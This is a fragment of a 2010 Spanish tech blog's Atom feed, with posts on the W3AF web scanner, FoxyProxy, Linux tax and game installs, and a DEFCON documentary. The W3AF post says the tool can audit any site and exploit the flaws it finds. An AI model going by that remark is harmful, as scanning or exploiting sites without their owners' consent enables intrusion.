&lt;b&gt;audit_high_risk&lt;/b&gt; y &lt;b&gt;full audit&lt;/b&gt; que &lt;b&gt;nos permitirá buscar todos los fallos de nuestra web&lt;/b&gt;. Entre ellos se encuentran &lt;b&gt;inyecciones SQL&lt;/b&gt;, &lt;b&gt;XSS&lt;/b&gt; y &lt;b&gt;salto de directorios&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S2iFP0uOrXI/AAAAAAAAAYY/tF6iQ1T3ekQ/s1600-h/w3af_screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S2iFP0uOrXI/AAAAAAAAAYY/tF6iQ1T3ekQ/s320/w3af_screenshot.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para iniciarlo sólo tendremos que &lt;b&gt;insertar en el campo target nuestra página web&lt;/b&gt;, un ejemplo podría ser &lt;b&gt;http://donzeyt.blogspot.com&lt;/b&gt; aunque dudo encontréis nada porque en google suelen hacer un buen trabajo.&lt;br /&gt;&lt;br /&gt;En &lt;b&gt;resumen&lt;/b&gt;, con esta &lt;b&gt;herramienta&lt;/b&gt; podrás &lt;b&gt;auditar&lt;/b&gt; tu propia &lt;b&gt;web&lt;/b&gt; u otra cualquiera, encontrar fallos, corregirlos o explotarlos y lo que os venga en gana.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6733295809704025647?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6733295809704025647/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/web-w3af-analisis-de-seguridad-de-tu.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6733295809704025647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6733295809704025647'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/web-w3af-analisis-de-seguridad-de-tu.html' title='Web: W3AF Análisis de Seguridad de tu web'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S2iFM1xu6zI/AAAAAAAAAYQ/wpMLkpGTGh8/s72-c/w3af_logo.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-537548386898473394</id><published>2010-02-06T10:06:00.000+01:00</published><updated>2010-02-06T12:13:24.714+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Privacidad'/><category scheme='http://www.blogger.com/atom/ns#' term='Proxys'/><title type='text'>Privacidad 2: Proxys 1: Introducción y fundamentos.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2YAt1fJKJI/AAAAAAAAAYA/FjcxNe6GevY/s1600-h/proxy_croquis.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2YAt1fJKJI/AAAAAAAAAYA/FjcxNe6GevY/s320/proxy_croquis.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;En la &lt;a href="http://donzeyt.blogspot.com/2010/01/privacidad-firefox-modificar-cabeceras.html"&gt;primera edición de privacidad&lt;/a&gt; hablamos sobre &lt;b&gt;ocultar los datos del navegador y sistema operativo&lt;/b&gt; y vimos como se nos quedaron en el aire algunos datos &lt;b&gt;como nuestra IP&lt;/b&gt;, a través de la cual &lt;b&gt;podían saber nuestro ISP y por lo tanto nuestra procedencia&lt;/b&gt; con un error máximo de 100 km (se estima) mediante &lt;b&gt;geoiplocalización&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Por todo esto trataremos de &lt;b&gt;ponérselo más difícil mediante el uso de los proxys&lt;/b&gt;. Por ello mismo indicaremos que son, para que sirven y como usarlos.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;QUÉ ES UN PROXY&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;A pesar de que su uso más conocido es el &lt;b&gt;anonimato para la navegación&lt;/b&gt;, los proxys &lt;b&gt;tienen muchas funcionalidades&lt;/b&gt;. Los de navegación web son &lt;b&gt;los más empleados&lt;/b&gt; por diversos motivos, principalmente la &lt;b&gt;seguridad y el rendimiento&lt;/b&gt;. Su &lt;b&gt;funcionamiento es muy sencillo&lt;/b&gt;, ciertos &lt;b&gt;clientes &lt;/b&gt;realizan &lt;b&gt;peticiones&lt;/b&gt; a un &lt;b&gt;servidor&lt;/b&gt;, este las&lt;b&gt; trata y devuelve la respuesta&lt;/b&gt; a los clientes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;TIPOS DE PROXY&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Reverse proxy:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size: small;"&gt; Como índica su nombre es un &lt;b&gt;proxy inverso&lt;/b&gt;, es decir, todo el &lt;b&gt;tráfico que va al cliente pasa primero por el servidor&lt;/b&gt;. Es muy &lt;b&gt;utilizado como capa extra de seguridad o como filtrado de tráfico&lt;/b&gt;. También se consideran los &lt;b&gt;balanceadores de carga como proxys inversos&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Proxy NAT&lt;/b&gt;: Todos los que usamos un Router tenemos este tipo de proxy. Sencillamente &lt;b&gt;se emplea para compartir una misma dirección IP por varios ordenadores&lt;/b&gt;. Según al puerto que accedamos entraremos a un ordenador a otro mediante Network Adress Translation (NAT).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;b&gt;Proxys Abiertos&lt;/b&gt;: Estos son los más interesantes ya que &lt;b&gt;permiten hacer peticiones a cualquier usuario de Internet&lt;/b&gt;. Tiene sus ventajas y sus desventajas pero&lt;b&gt; permiten navegar a muchos usuarios que no pueden&lt;/b&gt;. El empleo de estos suele tener algunas restricciones ya que mucha gente oculta su IP para cometer perrerías a través de estos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;CÓMO USARLOS&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2YAxD48oPI/AAAAAAAAAYI/XJGod3e15xM/s1600-h/FoxyLogo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2YAxD48oPI/AAAAAAAAAYI/XJGod3e15xM/s320/FoxyLogo.jpg" /&gt;&lt;/a&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Se pueden usar proxys en casi todas las aplicaciones pero no quiero atormentaros por lo que &lt;b&gt;nos centraremos en la web proxy mediante FireFox&lt;/b&gt;. Para ello &lt;b&gt;usaremos la extensión FoxyProxy&lt;/b&gt; para este popular navegador. &lt;a href="https://addons.mozilla.org/es-ES/firefox/addon/2464"&gt;Para ello iremos a la página y lo instalaremos&lt;/a&gt;, una vez &lt;b&gt;instalado&lt;/b&gt;, &lt;b&gt;reiniciaremos el navegador&lt;/b&gt;. Nos aparecerá abajo a la derecha &lt;b&gt;un cartelito rojo indicando que FoxyProxy está deshabilitado&lt;/b&gt;. Para habilitarlo es tan sencillo como hacer &lt;b&gt;click con el botón secundario y escoger opciones&lt;/b&gt;. En la pantalla &lt;b&gt;escogeremos, añadir nuevo proxy&lt;/b&gt; y añadiremos los datos de una &lt;a href="http://www.proxy-list.org/en/index.php"&gt;lista de proxys&lt;/a&gt;. En este caso he escogido 76.27.93.88:3128 desde Estados Unidos. La IP es 76.27.93.88 y el puerto 3128. &lt;b&gt;Pondremos un nombre&lt;/b&gt;,&lt;b&gt; la descripción del país y en la pestaña detalles pondremos la IP y el puerto&lt;/b&gt;. El &lt;b&gt;socket es v5&lt;/b&gt;. &lt;b&gt;Aceptaremos, y en la barra de estado&lt;/b&gt;, donde hicimos antes click con el botón secundario lo volveremos a hacer y &lt;b&gt;escogeremos nuestra proxy&lt;/b&gt;. Entraremos en &lt;a href="http://www.danasoft.com/customsig.php"&gt;danasoft&lt;/a&gt; de nuevo y listo, ahora somos estadounidenses.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S2YAdd7ROcI/AAAAAAAAAX4/JgfHIVvewDM/s1600-h/vipersig.jpg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S2YAdd7ROcI/AAAAAAAAAX4/JgfHIVvewDM/s320/vipersig.jpg.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Este sistema&lt;b&gt; se puede utilizar también para saltarse las limitaciones de megavideo, megaupload &lt;/b&gt;etc... y las &lt;b&gt;restricciones de streaming de vídeo sólo disponibles para ciertos países&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;En próximas entregas, hablaremos de &lt;b&gt;proxys más avanzadas y de sistemas como TOR y derivados,&lt;/b&gt; y de como &lt;b&gt;ayudar a navegar a los que no pueden&lt;/b&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-537548386898473394?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/537548386898473394/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/privacidad-2-proxys-1-introduccion-y.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/537548386898473394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/537548386898473394'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/privacidad-2-proxys-1-introduccion-y.html' title='Privacidad 2: Proxys 1: Introducción y fundamentos.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S2YAt1fJKJI/AAAAAAAAAYA/FjcxNe6GevY/s72-c/proxy_croquis.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-200588687603965279</id><published>2010-02-05T10:38:00.000+01:00</published><updated>2010-02-05T10:38:00.274+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacienda'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='AEAT'/><title type='text'>Linux - Programa pago IVA AEAT</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S2X6us8OLRI/AAAAAAAAAXw/Oe_AljRRzsQ/s1600-h/aeat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S2X6us8OLRI/AAAAAAAAAXw/Oe_AljRRzsQ/s320/aeat3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;A petición de uno de nuestros lectores y tras apreciar lo grave que es que como siempre, den &lt;b&gt;soporte muy escaso para Linux en cosas estatales&lt;/b&gt;, escribo un tema que a muchos les dará igual pero que en un futuro tendrá su &lt;b&gt;importancia&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Los programas de la &lt;b&gt;Seguridad Social&lt;/b&gt; en general están programados en &lt;b&gt;JAVA&lt;/b&gt; ya que es &lt;b&gt;multiplataforma&lt;/b&gt;. Lo sé porque tuve un amigo que estuvo trabajando allí 1 año. En cualquier caso jamás pensé que el&lt;b&gt; instalador de Linux&lt;/b&gt; estuviera tan dejado.&lt;br /&gt;En cualquier caso haremos una &lt;b&gt;mini guía para ver como se instala&lt;/b&gt; este programa y para hacerlo funcionar correctamente.&lt;br /&gt;&lt;br /&gt;Lo primero de todo, &lt;b&gt;descargaremos el instalador&lt;/b&gt; de la aplicación ejecutando lo siguiente en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;wget http://www.aeat.es/AEAT/Contenidos_Comunes/La_Agencia_Tributaria/Descarga_Programas/Descarga/Java/IVA/2009/v1.0/siva9100.bin &lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;Una vez descargado, &lt;b&gt;suponiendo que esté en el Escritorio&lt;/b&gt; procederemos a &lt;b&gt;darle los permisos para poder ejecutarlo&lt;/b&gt; mediante los siguientes comandos:&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;cd Escritorio&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo chmod +x siva9100.bin&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez dado los permisos &lt;b&gt;ejecutaremos el instalador&lt;/b&gt; mediante el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;./siva9100.bin&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Nos aparecerá un &lt;b&gt;instalador bastante&amp;nbsp; feo&lt;/b&gt;. &lt;b&gt;Pulsaremos siguiente hasta que nos pida la ubicación de la máquina virtual de java&lt;/b&gt;. Para ello, &lt;b&gt;le daremos a examinar y escogeremos&lt;/b&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;/usr/lib/jvm/java-6-openjdk/bin/java&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&amp;nbsp;Una vez escogido, &lt;b&gt;pulsaremos sobre siguiente y nos preguntará sobre una ruta de instalación&lt;/b&gt;. Escogeremos la siguiente ruta:&lt;br /&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;/home/&lt;span style="color: red;"&gt;TuUsuario&lt;/span&gt;/AEAT&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;b&gt;Si no existiera la carpeta la crearíamos mediante el siguiente comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;mkdir AEAT&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez &lt;b&gt;escogido el directorio&lt;/b&gt;,&amp;nbsp; pulsaremos sobre siguiente y nos preguntará sobre &lt;b&gt;dónde poner los enlaces simbólicos&lt;/b&gt;. Escogeremos &lt;b&gt;en la misma carpeta y pulsaremos sobre siguiente&lt;/b&gt;. Una vez terminado, &lt;b&gt;ejecutaremos el programa&lt;/b&gt;, para ello, &lt;b&gt;crearemos un lanzador y en la ubicación escogeremos&lt;/b&gt;:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;/home/&lt;span style="color: red;"&gt;TuUsuario&lt;/span&gt;/AEAT/aeat390j&lt;/b&gt;&lt;/blockquote&gt;¡Lo ejecutaremos y &lt;b&gt;listo para hacer la declaración&lt;/b&gt;! &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-200588687603965279?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/200588687603965279/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-programa-pago-iva-aeat.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/200588687603965279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/200588687603965279'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/linux-programa-pago-iva-aeat.html' title='Linux - Programa pago IVA AEAT'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S2X6us8OLRI/AAAAAAAAAXw/Oe_AljRRzsQ/s72-c/aeat3.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7100593176371628776</id><published>2010-02-04T10:40:00.002+01:00</published><updated>2010-02-04T10:40:00.205+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Cine - Documental DEFCON</title><content type='html'>La &lt;b&gt;DEFCON&lt;/b&gt; es una &lt;b&gt;conferencia de seguridad a nivel internacional&lt;/b&gt; donde los mejores expertos en seguridad van a exponer sus conocimientos y algunos de los mejores grupos de hackers van a competir para demostrar sus habilidades. Es un mundo que poca gente conoce por lo que aquí os dejo un documental algo antigüo que explica que se cuece por allí y como empezó:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/sbWWri57KuE&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/sbWWri57KuE&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7100593176371628776?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7100593176371628776/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-documental-defcon.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7100593176371628776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7100593176371628776'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/cine-documental-defcon.html' title='Cine - Documental DEFCON'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-5648970951411004105</id><published>2010-02-03T10:16:00.024+01:00</published><updated>2010-02-03T10:16:00.362+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Juegos'/><title type='text'>Juegos Linux - Urban Terror</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S2WEwYPqQjI/AAAAAAAAAXg/AqE-vMUHsGI/s1600-h/urbanterrorheader1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S2WEwYPqQjI/AAAAAAAAAXg/AqE-vMUHsGI/s320/urbanterrorheader1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Urban Terror&lt;/b&gt; es un &lt;b&gt;juego para Linux&lt;/b&gt; basado en el &lt;b&gt;motor del Quake 3&lt;/b&gt;. Como el Quake 3 fue &lt;b&gt;liberado&lt;/b&gt;, este juego se convirtió en la &lt;b&gt;alternativa gratuita al Counter Strike&lt;/b&gt;. En cualquier caso, hoy hablaremos de este juego con &lt;b&gt;buenos gráficos&lt;/b&gt;, una &lt;b&gt;aceptable cuota de gente&lt;/b&gt; que juega y con un porcentaje de satisfacción por los usuarios bastante alto.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt; lo primero que haremos será &lt;b&gt;descargarlo&lt;/b&gt;. Para ello he escogido la &lt;b&gt;versión extraíble&lt;/b&gt; que &lt;b&gt;funciona tanto en Linux como en Mac&lt;/b&gt; (no olvidemos que es &lt;b&gt;multiplataforma&lt;/b&gt;).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S2WE3WAYJKI/AAAAAAAAAXo/VEapBSxt774/s1600-h/urban_terror_ubuntu.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S2WE3WAYJKI/AAAAAAAAAXo/VEapBSxt774/s320/urban_terror_ubuntu.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Para ello ejecutaremos en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;wget ftp://ftp.snt.utwente.nl/pub/games/urbanterror/UrbanTerror_41_FULL.zip&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Una vez &lt;b&gt;descargados los 719 MB&lt;/b&gt;, procederemos a &lt;b&gt;extraerlo&lt;/b&gt; mediante el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&amp;nbsp;&lt;b&gt;unzip UrbanTerror_41_FULL.zip&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Después de extraerlo, &lt;b&gt;procederemos a ejecutar el juego&lt;/b&gt;. Para ello iremos a n&lt;b&gt;uestra carpeta de usuario&lt;/b&gt; y &lt;b&gt;buscaremos la carpeta UrbanTerror&lt;/b&gt;. La abriremos y &lt;b&gt;ejecutaremos el programa según nuestra arquitectura&lt;/b&gt;. Si tenemos &lt;b&gt;32 bits ejecutaremos ioUrbanTerror.i386&lt;/b&gt; y si tenemos &lt;b&gt;64 bits,  ioUrbanTerror.x86_64&lt;/b&gt;.&lt;br /&gt;Ejemplo de 32 bits:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;cd UrbanTerror&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo chmod +x &lt;/b&gt;&lt;b&gt;ioUrbanTerror.i386&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;./ioUrbanTerror.i386&lt;/b&gt; &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Si te salta algún error de consola diciendo que no se puede ejecutar &lt;b&gt;OpenGL&lt;/b&gt;, comprueba que tienes aceleración gráfica. Si aun así no funcionara, verifica que tu &lt;b&gt;tarjeta gráfica este trabajando a&amp;nbsp; 24 bits de color&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para jugar en &lt;b&gt;modo pantalla&lt;/b&gt; vamos a&lt;b&gt; system y en graphics quitamos Fullscreen&lt;/b&gt;.&lt;br /&gt;Para crear un&lt;b&gt; acceso directo&lt;/b&gt; crearemos un &lt;b&gt;lanzador&lt;/b&gt; y en la línea de comando a ejecutar pondremos &lt;b&gt;/home/tusuario/UrbanTerror/ioUrbanTerror.i386&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Si no tienes ningún problema, ¡disfruta!&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-5648970951411004105?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/5648970951411004105/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/02/juegos-linux-urban-terror.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5648970951411004105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/5648970951411004105'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/02/juegos-linux-urban-terror.html' title='Juegos Linux - Urban Terror'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S2WEwYPqQjI/AAAAAAAAAXg/AqE-vMUHsGI/s72-c/urbanterrorheader1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1567258250152596284</id><published>2010-02-02T10:14:00.001+01:00</published><updated>2010-02-02T10:14:00.223+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu: Ejecutar archivos .bin .run .sh</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S2WBwPCabBI/AAAAAAAAAXY/ZEjPoAeS7HY/s1600-h/vultures-unix-installer.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" 